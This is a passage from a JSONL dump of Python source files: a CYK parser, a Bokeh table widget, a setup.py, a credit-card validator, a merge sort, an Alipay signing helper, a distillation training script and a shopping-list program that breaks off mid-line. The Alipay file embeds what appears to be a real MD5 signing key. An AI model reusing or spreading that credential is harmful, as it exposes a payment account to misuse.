right_nodes = [n for n in right_cell if n.symbol == rule[2]]\n self.parse_table[words_to_consider - 1][starting_cell].extend(\n [Node(rule[0], left, right) for left in left_nodes for right in right_nodes]\n )\n\n def print_tree(self, output=True):\n \"\"\"\n Print the parse tree starting with the start symbol. Alternatively it returns the string\n representation of the tree(s) instead of printing it.\n \"\"\"\n start_symbol = self.grammar[0][0]\n final_nodes = [n for n in self.parse_table[-1][0] if n.symbol == start_symbol]\n if final_nodes:\n if output:\n print(\"The given sentence is contained in the language produced by the given grammar!\")\n print(\"\\nPossible parse(s):\")\n trees = [generate_tree(node) for node in final_nodes]\n if output:\n for tree in trees:\n print(tree)\n else:\n return trees\n else:\n print(\"The given sentence is not contained in the language produced by the given grammar!\")\n\n\ndef generate_tree(node):\n \"\"\"\n Generates the string representation of the parse tree.\n :param node: the root node.\n :return: the parse tree in string form.\n \"\"\"\n if node.child2 is None:\n return f\"[{node.symbol} '{node.child1}']\"\n return f\"[{node.symbol} {generate_tree(node.child1)} {generate_tree(node.child2)}]\"\n\n\nif __name__ == '__main__':\n argparser = argparse.ArgumentParser()\n argparser.add_argument(\"grammar\",\n help=\"File containing the grammar or string directly representing the grammar.\")\n argparser.add_argument(\"sentence\",\n help=\"File containing the sentence or string directly representing the sentence.\")\n args = argparser.parse_args()\n CYK = Parser(args.grammar, args.sentence)\n CYK.parse()\n CYK.print_tree()\n","sub_path":"cyk_parser.py","file_name":"cyk_parser.py","file_ext":"py","file_size_in_byte":6421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"47557290","text":"from typing import List\n\nfrom bokeh.models import ColumnDataSource, DataTable, TableColumn, StringFormatter\n\nfrom online_model.app.controllers import Controller\nfrom online_model.app.monitors import PVScalar\nfrom online_model import PREFIX, ARRAY_PVS\n\n\nclass ValueTable:\n def __init__(\n self, sim_pvdb, controller: Controller, array_pvs: List[str] = ARRAY_PVS\n ) -> None:\n \"\"\"\n View for value table item. Maps process variable name to its value.\n\n Parameters\n ----------\n sim_pvdb: dict\n Dictionary of process variable values\n\n controller: online_model.app.widgets.controllers.Controller\n Controller object for getting pv values\n\n array_pvs: list\n List of pvs to be excluded due to image formatting etc.\n\n Notes\n -----\n The array_pvs is kind of a hacky fix that should be fixed and accounted for\n when stronger parameter type definitions are implemented.\n\n \"\"\"\n # only creating pvs for non-image pvs\n self.pv_monitors = {}\n self.output_values = []\n self.names = []\n\n # be sure to surface units in the table\n self.unit_map = {}\n\n for pv in sim_pvdb:\n if pv not in array_pvs:\n self.pv_monitors[pv] = PVScalar(\n f\"{PREFIX}:{pv}\", sim_pvdb[pv][\"units\"], controller\n )\n v = self.pv_monitors[pv].poll()\n\n self.output_values.append(v)\n self.names.append(pv)\n self.unit_map[pv] = sim_pvdb[pv][\"units\"]\n\n self.create_table()\n\n def create_table(self) -> None:\n \"\"\"\n Create the table and populate prelim data.\n \"\"\"\n self.table_data = dict(x=self.names, y=self.output_values)\n self.source = ColumnDataSource(self.table_data)\n columns = [\n TableColumn(\n field=\"x\", title=\"Outputs\", formatter=StringFormatter(font_style=\"bold\")\n ),\n TableColumn(field=\"y\", title=\"Current Value\"),\n ]\n\n self.table = DataTable(\n source=self.source, columns=columns, width=400, height=280\n )\n\n def update(self):\n \"\"\"\n Update data source.\n \"\"\"\n output_values = []\n for pv in self.pv_monitors:\n v = self.pv_monitors[pv].poll()\n output_values.append(v)\n\n self.source.data = dict(x=self.names, y=output_values)\n","sub_path":"online_model/app/widgets/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"260913024","text":"#!/usr/bin/env python\nfrom setuptools import setup\nimport os\nimport sys\n\npy_entry = 'wpy%s = pythonwpy.__main__:main'\nendings = ('', sys.version[:1], sys.version[:3])\nentry_points_scripts = []\nfor e in endings:\n entry_points_scripts.append(py_entry % e)\n\nsetup(\n name='pythonwpy',\n version='0.4.1',\n description='python -c, with tab completion and shorthand',\n license='MIT',\n url='https://github.com/Russell91/pythonwpy',\n long_description='https://github.com/Russell91/pythonwpy',\n packages = ['pythonwpy'],\n entry_points = {\n 'console_scripts': entry_points_scripts\n },\n)\n","sub_path":"pypi_install_script/pythonwpy-0.4.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"25305964","text":"import re\r\n\r\nn = int(input())\r\narr = [input() for i in range(n)]\r\n# expression for 16 digits number\r\npattern = re.compile(r\"^[456]\\d{3}-?\\d{4}-?\\d{4}-?\\d{4}$\")\r\n# expression for 4 consecutive same numbers\r\npattern2 = re.compile(r\"([\\d])\\1\\1\\1\")\r\nfor i in arr:\r\n if re.match(pattern, i) and not re.search(pattern2, i.replace(\"-\", \"\")):\r\n print(\"Valid\")\r\n else:\r\n print(\"Invalid\")\r\n","sub_path":"ValidatingCreditCard.py","file_name":"ValidatingCreditCard.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"216118878","text":"cnt = 0\ndef merge(A, left, mid, right):\n global cnt\n #print(\"marge \",A,left,mid,right)\n n1 = mid - left\n n2 = right - mid\n #L = [0] * (n1+1)\n #R = [0] * (n2+1)\n L = [0] * (n1+1)\n R = [0] * (n2+1)\n \n for i in range(n1):\n L[i] = A[left + i]\n for i in range(n2):\n R[i] = A[mid + i]\n L[n1] = 999999999\n R[n2] = 999999999\n i = 0\n j = 0\n for k in range(left,right):\n cnt+=1\n if L[i] <= R[j]:\n A[k] = L[i]\n i = i + 1\n else:\n A[k] = R[j]\n j = j + 1\n\ndef mergeSort(A, left, right):\n #print(\"margeSort \",A,left,right)\n if left+1 < right:\n mid = int((left + right)/2)\n mergeSort(A, left, mid)\n mergeSort(A, mid, right)\n merge(A, left, mid, right)\n\nn = int(input())\nS = list(map(int,input().split()))\nmergeSort(S, 0, n)\nS = map(str, S)\nprint(' '.join(S))\nprint(cnt)\n","sub_path":"Python_codes/p02272/s395753362.py","file_name":"s395753362.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"70626189","text":"# -*- coding: utf-8 -*-\n__author__ = 'sciooga'\nfrom urllib import urlencode\nimport hashlib\n\ndef alipay_url (_out_trade_no, _subject, _price, _quantity, _body, _receive_name, _receive_address, _receive_zip, _receive_mobile):\n gateway = 'https://mapi.alipay.com/gateway.do?' #支付宝网关,如果支付宝有改动请对应修改此项。\n \n '''\n 在这里设置您所需的参数\n eg: 'service' : 'create_partner_trade_by_buyer',\n 补充及增添所需参数。\n '''\n param_and_value = {\n 'service' : 'create_partner_trade_by_buyer',\n 'partner' : '',\n '_input_charset' : 'utf-8',\n 'notify_url' : 'http://www.example.com/notify/alipay/',\n 'return_url' : 'http://www.example.com/return/alipay/',\n 'out_trade_no' : _out_trade_no,\n 'subject' : _subject,\n 'body' : _body,\n 'payment_type' : '1',\n 'logistics_type' : 'EXPRESS',\n 'logistics_fee' : '0',\n 'logistics_payment' : 'SELLER_PAY',\n 'price' : _price,\n 'quantity' : _quantity,\n 'seller_email' : 'seller@example.com',\n 'receive_name' : _receive_name,\n 'receive_address' : _receive_address,\n 'receive_zip' : _receive_zip,\n 'receive_mobile' : _receive_mobile,\n }\n param_and_value['sign'] = build_sign(param_and_value)\n param_and_value['sign_type'] = 'MD5'\n return gateway + urlencode(param_and_value)\n\n#MD5加密,此函数限于 python 2.5 及之后版本\ndef md5(sign):\n t = hashlib.md5()\n t.update(sign)\n return t.hexdigest()\n\ndef build_sign (post_dict, verify = False):#verify 用于验证 notify_sign 为真时将排除传入字典或类字典(QueryDict)的sign、sign_type值,目前只支持 md5 验证\n md5_key = 'ae4i7z8f27pdibpi8e8nt398s79vli0v' #支付宝提供的安全校验码\n param_list = post_dict.keys()\n param_list.sort()\n link = ''\n if verify:\n for i in param_list:\n if i not in ('sign', 'sign_type'):\n link += \"%s=%s&\" % (i, post_dict[i])\n link = link.encode('utf-8')#传入的类字典基本都是 unicode 编码,而我们验证需要将其转换成 utf-8 编码处理\n else:\n for i in param_list:\n link += \"%s=%s&\" % (i, post_dict[i])\n return md5(link[:-1] + md5_key)\n","sub_path":"alipay.py","file_name":"alipay.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"538605006","text":"from __future__ import print_function\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.backends.cudnn as cudnn\nimport torchvision.transforms as transforms\nimport torchvision.datasets as dst\n\nimport argparse\nimport os\nimport time\nfrom itertools import chain\n\nfrom util import AverageMeter, accuracy, transform_time\nfrom util import load_pretrained_model, save_checkpoint\nfrom network import define_tsnet, define_paraphraser, define_translator\n\nparser = argparse.ArgumentParser(description='factor transfer')\n\n# various path\nparser.add_argument('--save_root', type=str, default='./results', help='models and logs are saved here')\nparser.add_argument('--img_root', type=str, default='./datasets', help='path name of image dataset')\nparser.add_argument('--s_init', type=str, required=True, help='initial parameters of student model')\nparser.add_argument('--t_model', type=str, required=True, help='path name of teacher model')\n\n# training hyper parameters\nparser.add_argument('--print_freq', type=int, default=10, help='frequency of showing training results on console')\nparser.add_argument('--epochs', type=int, default=200, help='number of total epochs to run')\nparser.add_argument('--batch_size', type=int, default=128, help='The size of batch')\nparser.add_argument('--lr', type=float, default=0.1, help='initial learning rate of student net')\nparser.add_argument('--lr_para', type=float, default=0.01, help='initial learning rate of paraphraser')\nparser.add_argument('--momentum', type=float, default=0.9, help='momentum')\nparser.add_argument('--weight_decay', type=float, default=1e-4, help='weight decay')\nparser.add_argument('--num_class', type=int, default=10, help='number of classes')\nparser.add_argument('--cuda', type=int, default=1)\n\n# net and dataset choosen\nparser.add_argument('--data_name', type=str, required=True, help='name of dataset')# cifar10/cifar100\nparser.add_argument('--t_name', type=str, required=True, help='name of teacher')\nparser.add_argument('--s_name', type=str, required=True, help='name of student')\n\n# hyperparameter lambda\nparser.add_argument('--lambda_ft', type=float, default=100.0)\nparser.add_argument('--k', type=float, default=0.5)\n\ndef main():\n\tglobal args\n\targs = parser.parse_args()\n\tprint(args)\n\n\tif not os.path.exists(os.path.join(args.save_root,'checkpoint')):\n\t\tos.makedirs(os.path.join(args.save_root,'checkpoint'))\n\n\tif args.cuda:\n\t\tcudnn.benchmark = True\n\n\tprint('----------- Network Initialization --------------')\n\tsnet = define_tsnet(name=args.s_name, num_class=args.num_class, cuda=args.cuda)\n\tcheckpoint = torch.load(args.s_init)\n\tload_pretrained_model(snet, checkpoint['net'])\n\n\ttnet = define_tsnet(name=args.t_name, num_class=args.num_class, cuda=args.cuda)\n\tcheckpoint = torch.load(args.t_model)\n\tload_pretrained_model(tnet, checkpoint['net'])\n\ttnet.eval()\n\tfor param in tnet.parameters():\n\t\tparam.requires_grad = False\n\n\tparaphraser = define_paraphraser(k=args.k, cuda=args.cuda)\n\ttranslator = define_translator(k=args.k, cuda=args.cuda)\n\tprint('-----------------------------------------------')\n\n\t# initialize optimizer\n\toptimizer_para = torch.optim.SGD(paraphraser.parameters(),\n\t\t\t\t\t\t\t\t\t lr = args.lr_para,\n\t\t\t\t\t\t\t\t\t momentum = args.momentum,\n\t\t\t\t\t\t\t\t\t weight_decay = args.weight_decay,\n\t\t\t\t\t\t\t\t\t nesterov = True)\n\toptimizer = torch.optim.SGD(chain(snet.parameters(),translator.parameters()),\n\t\t\t\t\t\t\t\tlr = args.lr,\n\t\t\t\t\t\t\t\tmomentum = args.momentum,\n\t\t\t\t\t\t\t\tweight_decay = args.weight_decay,\n\t\t\t\t\t\t\t\tnesterov = True)\n\n\t# define loss functions\n\tif args.cuda:\n\t\tcriterionCls = torch.nn.CrossEntropyLoss().cuda()\n\t\tcriterionFT = torch.nn.L1Loss().cuda()\n\t\tcriterionPara = torch.nn.MSELoss().cuda()\n\telse:\n\t\tcriterionCls = torch.nn.CrossEntropyLoss()\n\t\tcriterionFT = torch.nn.L1Loss()\n\t\tcriterionPara = torch.nn.MSELoss()\n\n\t# define transforms\n\tif args.data_name == 'cifar10':\n\t\tdataset = dst.CIFAR10\n\t\tmean = (0.4914, 0.4822, 0.4465)\n\t\tstd = (0.2470, 0.2435, 0.2616)\n\telif args.data_name == 'cifar100':\n\t\tdataset = dst.CIFAR100\n\t\tmean = (0.5071, 0.4865, 0.4409)\n\t\tstd = (0.2673, 0.2564, 0.2762)\n\telse:\n\t\traise Exception('invalid dataset name...')\n\n\ttrain_transform = transforms.Compose([\n\t\t\ttransforms.Pad(4, padding_mode='reflect'),\n\t\t\ttransforms.RandomCrop(32),\n\t\t\ttransforms.RandomHorizontalFlip(),\n\t\t\ttransforms.ToTensor(),\n\t\t\ttransforms.Normalize(mean=mean,std=std)\n\t\t])\n\ttest_transform = transforms.Compose([\n\t\t\ttransforms.CenterCrop(32),\n\t\t\ttransforms.ToTensor(),\n\t\t\ttransforms.Normalize(mean=mean,std=std)\n\t\t])\n\n\t# define data loader\n\ttrain_loader = torch.utils.data.DataLoader(\n\t\t\tdataset(root = args.img_root,\n\t\t\t\t\ttransform = train_transform,\n\t\t\t\t\ttrain = True,\n\t\t\t\t\tdownload = True),\n\t\t\tbatch_size=args.batch_size, shuffle=True, num_workers=4, pin_memory=True)\n\ttest_loader = torch.utils.data.DataLoader(\n\t\t\tdataset(root = args.img_root,\n\t\t\t\t\ttransform = test_transform,\n\t\t\t\t\ttrain = False,\n\t\t\t\t\tdownload = True),\n\t\t\tbatch_size=args.batch_size, shuffle=False, num_workers=4, pin_memory=True)\n\n\t# train paraphraser for 100 epochs\n\tprint('training paraphraser for 100 epochs')\n\tfor epoch in range(1, 101):\n\t\tepoch_start_time = time.time()\n\n\t\tadjust_lr_para(optimizer_para, epoch)\n\n\t\t# train one epoch\n\t\tnets = {'tnet':tnet, 'paraphraser':paraphraser}\n\t\ttrain_para(train_loader, nets, optimizer_para, criterionPara, epoch)\n\t\tepoch_time = time.time() - epoch_start_time\n\t\tprint('one epoch time is {:02}h{:02}m{:02}s'.format(*transform_time(epoch_time)))\n\n\tparaphraser.eval()\n\tfor param in paraphraser.parameters():\n\t\tparam.requires_grad = False\n\n\tprint('training student network')\n\tfor epoch in range(1, args.epochs+1):\n\t\tepoch_start_time = time.time()\n\n\t\tadjust_lr(optimizer, epoch)\n\n\t\t# train one epoch\n\t\tnets = {'snet':snet, 'tnet':tnet, 'paraphraser':paraphraser, 'translator':translator}\n\t\tcriterions = {'criterionCls':criterionCls, 'criterionFT':criterionFT}\n\t\ttrain(train_loader, nets, optimizer, criterions, epoch)\n\t\tepoch_time = time.time() - epoch_start_time\n\t\tprint('one epoch time is {:02}h{:02}m{:02}s'.format(*transform_time(epoch_time)))\n\n\t\t# evaluate on testing set\n\t\tprint('testing the models......')\n\t\ttest_start_time = time.time()\n\t\ttest(test_loader, nets, criterions)\n\t\ttest_time = time.time() - test_start_time\n\t\tprint('testing time is {:02}h{:02}m{:02}s'.format(*transform_time(test_time)))\n\n\t\t# save model\n\t\tprint('saving models......')\n\t\tsave_name = 'ft_r{}_r{}_{:>03}.ckp'.format(args.t_name[6:], args.s_name[6:], epoch)\n\t\tsave_name = os.path.join(args.save_root, 'checkpoint', save_name)\n\t\tif epoch == 1:\n\t\t\tsave_checkpoint({\n\t\t\t\t'epoch': epoch,\n\t\t\t\t'snet': snet.state_dict(),\n\t\t\t\t'tnet': tnet.state_dict(),\n\t\t\t}, save_name)\n\t\telse:\n\t\t\tsave_checkpoint({\n\t\t\t\t'epoch': epoch,\n\t\t\t\t'snet': snet.state_dict(),\n\t\t\t}, save_name)\n\ndef train_para(train_loader, nets, optimizer_para, criterionPara, epoch):\n\tbatch_time = AverageMeter()\n\tdata_time = AverageMeter()\n\tpara_losses = AverageMeter()\n\n\ttnet = nets['tnet']\n\tparaphraser = nets['paraphraser']\n\n\tparaphraser.train()\n\n\tend = time.time()\n\tfor idx, (img, _) in enumerate(train_loader, start=1):\n\t\tdata_time.update(time.time() - end)\n\n\t\tif args.cuda:\n\t\t\timg = img.cuda()\n\n\t\t_, _, _, rb3, _ = tnet(img)\n\t\t_, rb3_rec = paraphraser(rb3.detach())\n\n\t\tpara_loss = criterionPara(rb3_rec, rb3.detach())\n\t\tpara_losses.update(para_loss.item(), img.size(0))\n\n\t\toptimizer_para.zero_grad()\n\t\tpara_loss.backward()\n\t\toptimizer_para.step()\n\n\t\tbatch_time.update(time.time() - end)\n\t\tend = time.time()\n\n\t\tif idx % args.print_freq == 0:\n\t\t\tprint('Epoch[{0}]:[{1:03}/{2:03}] '\n\t\t\t\t 'Time:{batch_time.val:.4f} '\n\t\t\t\t 'Data:{data_time.val:.4f} '\n\t\t\t\t 'Para:{para_losses.val:.4f}({para_losses.avg:.4f})'.format(\n\t\t\t\t epoch, idx, len(train_loader), batch_time=batch_time, data_time=data_time,\n\t\t\t\t para_losses=para_losses))\n\ndef train(train_loader, nets, optimizer, criterions, epoch):\n\tbatch_time = AverageMeter()\n\tdata_time = AverageMeter()\n\tcls_losses = AverageMeter()\n\tft_losses = AverageMeter()\n\ttop1 = AverageMeter()\n\ttop5 = AverageMeter()\n\n\tsnet = nets['snet']\n\ttnet = nets['tnet']\n\tparaphraser = nets['paraphraser']\n\ttranslator = nets['translator']\n\n\tcriterionCls = criterions['criterionCls']\n\tcriterionFT = criterions['criterionFT']\n\n\tsnet.train()\n\ttranslator.train()\n\n\tend = time.time()\n\tfor idx, (img, target) in enumerate(train_loader, start=1):\n\t\tdata_time.update(time.time() - end)\n\n\t\tif args.cuda:\n\t\t\timg = img.cuda()\n\t\t\ttarget = target.cuda()\n\n\t\t_, _, _, rb3_s, output_s = snet(img)\n\t\t_, _, _, rb3_t, _ = tnet(img)\n\n\t\tfactor_s = translator(rb3_s)\n\t\tfactor_s = normalize(factor_s)\n\t\tfactor_t, _ = paraphraser(rb3_t)\n\t\tfactor_t = normalize(factor_t)\n\n\t\tcls_loss = criterionCls(output_s, target)\n\t\tft_loss = criterionFT(factor_s, factor_t.detach()) * args.lambda_ft\n\t\tloss = cls_loss + ft_loss\n\n\t\tprec1, prec5 = accuracy(output_s, target, topk=(1,5))\n\t\tcls_losses.update(cls_loss.item(), img.size(0))\n\t\tft_losses.update(ft_loss.item(), img.size(0))\n\t\ttop1.update(prec1.item(), img.size(0))\n\t\ttop5.update(prec5.item(), img.size(0))\n\n\t\toptimizer.zero_grad()\n\t\tloss.backward()\n\t\toptimizer.step()\n\n\t\tbatch_time.update(time.time() - end)\n\t\tend = time.time()\n\n\t\tif idx % args.print_freq == 0:\n\t\t\tprint('Epoch[{0}]:[{1:03}/{2:03}] '\n\t\t\t\t 'Time:{batch_time.val:.4f} '\n\t\t\t\t 'Data:{data_time.val:.4f} '\n\t\t\t\t 'Cls:{cls_losses.val:.4f}({cls_losses.avg:.4f}) '\n\t\t\t\t 'FT:{ft_losses.val:.4f}({ft_losses.avg:.4f}) '\n\t\t\t\t 'prec@1:{top1.val:.2f}({top1.avg:.2f}) '\n\t\t\t\t 'prec@5:{top5.val:.2f}({top5.avg:.2f})'.format(\n\t\t\t\t epoch, idx, len(train_loader), batch_time=batch_time, data_time=data_time,\n\t\t\t\t cls_losses=cls_losses, ft_losses=ft_losses, top1=top1, top5=top5))\n\ndef test(test_loader, nets, criterions):\n\tcls_losses = AverageMeter()\n\tft_losses = AverageMeter()\n\ttop1 = AverageMeter()\n\ttop5 = AverageMeter()\n\n\tsnet = nets['snet']\n\ttnet = nets['tnet']\n\tparaphraser = nets['paraphraser']\n\ttranslator = nets['translator']\n\n\tcriterionCls = criterions['criterionCls']\n\tcriterionFT = criterions['criterionFT']\n\n\tsnet.eval()\n\ttranslator.eval()\n\n\tend = time.time()\n\tfor idx, (img, target) in enumerate(test_loader, start=1):\n\t\tif args.cuda:\n\t\t\timg = img.cuda()\n\t\t\ttarget = target.cuda()\n\n\t\twith torch.no_grad():\n\t\t\t_, _, _, rb3_s, output_s = snet(img)\n\t\t\t_, _, _, rb3_t, _ = tnet(img)\n\n\t\t\tfactor_s = translator(rb3_s)\n\t\t\tfactor_s = normalize(factor_s)\n\t\t\tfactor_t, _ = paraphraser(rb3_t)\n\t\t\tfactor_t = normalize(factor_t)\n\n\t\tcls_loss = criterionCls(output_s, target)\n\t\tft_loss = criterionFT(factor_s, factor_t.detach()) * args.lambda_ft\n\n\t\tprec1, prec5 = accuracy(output_s, target, topk=(1,5))\n\t\tcls_losses.update(cls_loss.item(), img.size(0))\n\t\tft_losses.update(ft_loss.item(), img.size(0))\n\t\ttop1.update(prec1.item(), img.size(0))\n\t\ttop5.update(prec5.item(), img.size(0))\n\n\tf_l = [cls_losses.avg, ft_losses.avg, top1.avg, top5.avg]\n\tprint('Cls: {:.4f}, FT: {:.4f}, Prec@1: {:.2f}, Prec@5: {:.2f}'.format(*f_l))\n\ndef adjust_lr(optimizer, epoch):\n\tscale = 0.1\n\tlr_list = [args.lr] * 100\n\tlr_list += [args.lr*scale] * 50\n\tlr_list += [args.lr*scale*scale] * 50\n\n\tlr = lr_list[epoch-1]\n\tprint('epoch: {} lr: {}'.format(epoch, lr))\n\tfor param_group in optimizer.param_groups:\n\t\tparam_group['lr'] = lr\n\ndef adjust_lr_para(optimizer_para, epoch):\n\tscale = 0.1\n\tlr_para_list = [args.lr_para] * 50\n\tlr_para_list += [args.lr_para*scale] * 25\n\tlr_para_list += [args.lr_para*scale*scale] * 25\n\n\tlr_para = lr_para_list[epoch-1]\n\tprint('epoch: {} lr_para: {}'.format(epoch, lr_para))\n\tfor param_group in optimizer_para.param_groups:\n\t\tparam_group['lr'] = lr_para\n\ndef normalize(factor, eps=1e-5):\n\tnorm = torch.norm(factor.view(factor.size(0),-1), dim=1)\n\tnorm = norm.view(norm.size(0), 1, 1, 1)\n\tnorm_factor = torch.div(factor, norm+eps)\n\n\treturn norm_factor\n\nif __name__ == '__main__':\n\tmain()","sub_path":"train_ft.py","file_name":"train_ft.py","file_ext":"py","file_size_in_byte":11846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"66982049","text":"from operator import itemgetter # Import itemgetter from operator module\n\nMENU = \"\"\"Menu:\nR - List required items\nC - List completed items\nA - Add new item\nM - Mark an item as completed\nQ - Quit\"\"\" # Constant for menu list\n\n\n\"\"\"\nPseudocode for load items function:\nGenerate a list call list_data\nOpen the file item and read the content\nLoop each element in input_file\n If \"\\n\" in each element\n then replace by \"\"\n Split each element by \",\"\n Add split_data to list_data\nClose the file item\nReturn (list_data)\n\"\"\"\n\n\ndef load_items(filename):\n \"\"\"\n A function that takes in filename as input argument, read the file and return the list_data from file.\n - Open the file and read the content\n - Initialize for loop that accesses each line in the file\n - Replace \"\\n\" by \"\" in each line\n - Split each line in the file by the comma and add to list_data\n - Close the file\n - Return list_data\n \"\"\"\n input_file = open(filename, \"r\")\n itemlists = input_file.readlines()\n list_of_lists = [] # List of lists data\n for each in itemlists:\n split_data = each.strip().split(\",\") # Split each line in the file by the comma to transform each line into\n # list format ['name','price','priority','r']\n list_of_lists.append(split_data) # Add the list format to list_data\n\n input_file.close() # Close the file\n return list_of_lists\n\n\ndef save_file(list_items):\n output_file = open(\"items.csv\", \"w\")\n for each in list_items:\n output_file.write(\"{},{},{},{}\\n\".format(each[0], each[1], each[2], each[3])) # Rewrite the items.csv file with\n # the same format as the original data\n output_file.close() # Close the file\n\n\ndef print_items(long_list):\n \"\"\" A function that takes in long_list as input argument and print the list of items with neatly formatted\n - Initialize for loop that accesses each list in the long_list\n - Add the name element in each list to item_names list\n - Add the price element in each list to item_prices list\n - Add the priority element in each list to item_priorities list\n - Display neatly formatted list of items\n - Display total price of items\n \"\"\"\n\n long_list.sort(key=itemgetter(2)) # Sort the long_list by priority\n item_names = [] # List of item's names\n item_prices = [] # List of item's prices\n item_priorities = [] # List of item's priorities\n\n for each in long_list:\n item_names.append(each[0]) # Add the name element to item_names list\n item_prices.append(float(each[1])) # Add the price element to item_prices list\n item_priorities.append(each[2]) # Add the priority element to item_priorities list\n\n for i in range(0, len(long_list)):\n print(\"{}. {:<25}${:.2f} ({})\".format(i, item_names[i], item_prices[i], item_priorities[i])) # Print the list\n # of items by access each element in item_names, item_prices, item_priorities list with the string format\n\n print(\"Total expected price for {} items: ${:.2f}\".format(len(long_list), sum(item_prices))) # Print the total\n # price for the total amount of items\n\n\n\"\"\"\nPseudocode for complete an item function:\nCall print_items(list_required_items)\nPrint \"Enter the number of an item to mark as completed\"\nGet user input for item_number\nError-check for user input\nDo Until out of range of list_required_items\n Initialize list_required_items[item_number][3] to 'c'\n If list_required_items[item_number][1] in one of elements of list_items\n Replace that element of list_items by list_required_items[item_number]\nAdd list_required_items[item_number] to list_completed_items\nRemove list_required_items[item_number] from list_required_items\nPrint MENU\n\"\"\"\n\n\ndef complete_an_item(list_items, list_completed_items, list_required_items):\n \"\"\"\n A function that takes in list_items, list_completed_items, list_required_items as arguments and do the mark an item\n as completed feature that allow the user to choose one item, and then the program will change that item from\n required to completed\n - Display the list of required items\n - Prompt user to enter the number of a required item to mark as completed\n - Error-check whether the input entered is out of the item's range\n - Display the name of the item which is marked as completed\n - Initialize the for loop to change the status of the item from required \"r\" to completed \"c\" if the number user\n entered is the index of a required item\n - Display Menu\n \"\"\"\n print_items(list_required_items) # Call print_items function with list_required_items as parameter\n print(\"Enter the number of an item to mark as completed\")\n valid_number = False\n while not valid_number: # Error-check user inputs for the value error of input number\n try:\n item_number = int(input(\">>>\")) # Get user input for item's number\n while item_number not in range(0, len(list_required_items)): # Error-check user inputs if the input is out\n # of item's range\n print(\"Invalid item number\")\n item_number = int(input(\">>>\")) # Get user input for item's number\n valid_number = True\n print(\"{} marked as completed\".format(list_required_items[item_number][0])) # Print the name of an item\n # that is marked as complete corresponding to the index of an item\n except ValueError:\n print(\"Invalid input; enter a number\")\n\n for i in range(len(list_items)):\n list_required_items[item_number][3] = 'c' # Replace \"r\" with \"c\" in the third element of the list element whose\n # sequence is corresponding to the item_number in the list_required_items\n if list_required_items[item_number][1] in list_items[i]:\n list_items[i] = list_required_items[item_number] # Replace the list element of list_items with the list\n # element whose sequence is corresponding to the item_number in the list_required_items if the first element\n # of it in one of each list element in list_items\n\n list_completed_items.append(list_required_items[item_number]) # Add the item which is marked as completed to the\n # completed list items\n list_required_items.remove(list_required_items[item_number]) # Remove the item which is marked as completed from\n # the required list items\n print(MENU)\n\n\ndef main():\n \"\"\"\n The main function runs the shopping list program\n - Call the function load_items to load the items.csv and store the result in the list_items\n - Add each list element in list_items which contains 'r' to list_required_items\n - Add each list element in list_items which contains 'c' to list_completed_items\n - Display welcome message with student name in it\n - Display menu\n - Get user input and loop until the user choose 'Q'\n - When user choose 'R', if no item is required, display \"No required items message\", else call print_items function\n with list_required_items as parameter\n - When user choose 'C', if no item is completed, display \"No completed items message\", else call print_items\n function with list_completed_items as parameter\n - When user choose 'A', get user input for new item's name, price, priority with error-check for each and add those\n elements to new_items list and also add new_items list to list_items and list_required_items\n - When user choose 'M', if no item is required, display \"No required items message\", else call complete_an_item\n function.\n - Error-check for menu choice\n - Save the items to the CSV file, overwriting the file contents\n - Display good bye message\n \"\"\"\n\n list_items = load_items(\"items.csv\") # Call the load_items function with items.csv as the parameter\n list_required_items = [] # List of required items\n list_completed_items = [] # List of completed items\n for each in list_items:\n if each[3] == 'c':\n list_completed_items.append(each) # Add each list element in list_items which contains 'c' to\n # list_completed_items\n elif each[3] == 'r':\n list_required_items.append(each) # Add each list element in list_items which contains 'r' to\n # list_required_items\n\n print(\"\"\"Shopping list 1.0 - by Dao Duy Tung\n{} items loaded from items.csv\"\"\".format(len(list_items))) # Print total amount of items in items.csv file\n\n print(MENU)\n user_input = input(\">>>\").upper().strip() # Get user input for menu and handle uppercase and lowercase letters\n while user_input != \"Q\":\n if user_input == \"R\":\n if len(list_required_items) == 0: # Display the prompt if there are no required items left\n print(\"No required items\")\n else:\n print(\"Required items:\")\n print_items(list_required_items) # Call print_items function with list_required_items as parameter\n print(MENU)\n\n elif user_input == \"C\":\n if len(list_completed_items) == 0: # Display the prompt if there are no required items have been marked as\n # completed yet\n print(\"No completed items\")\n else:\n print(\"Completed items:\")\n print_items(list_completed_items) # Call print_items function with list_completed_items as parameter\n print(MENU)\n\n elif user_input == \"A\":\n new_items = [] # List of new items\n input_name = input(\"Item name: \").strip() # Get user input for new item's name\n while input_name.strip() == \"\":\n print(\"Input can not be blank\") # Error-check user inputs for the name of new item if user entered\n # blank space\n input_name = input(\"Item name: \").strip() # Get user input for new item's name\n\n valid_price = False\n while not valid_price: # Error-check user inputs for the value error of the input price\n try:\n input_price = float(input(\"Price: $\")) # Get user input for new item's price\n while input_price < 0: # Error-check user inputs if the inputs price are less than 0\n print(\"Price must be >= $0\")\n input_price = float(input(\"Price: $\")) # Get user input for new item's price\n valid_price = True\n except ValueError:\n print(\"Invalid input; enter a valid number\")\n\n valid_priority = False\n while not valid_priority: # Error-check user inputs for the value error of the input priority\n try:\n input_priority = int(input(\"Priority: \")) # Get user input for new item's priority\n while input_priority not in range(1, 4): # Error-check user inputs if the inputs priority are not 1\n # or 2 or 3\n print(\"Priority must be 1, 2 or 3\")\n input_priority = int(input(\"Priority: \")) # Get user input for new item's priority\n valid_priority = True\n except ValueError:\n print(\"Invalid input; enter a valid number\")\n\n print(\"{}, ${:.2f} (priority {}) added to shopping list\".format(input_name, input_price, input_priority))\n # Print the index of added item with its name, price and priority in neatly formatted\n new_items.append(input_name) # 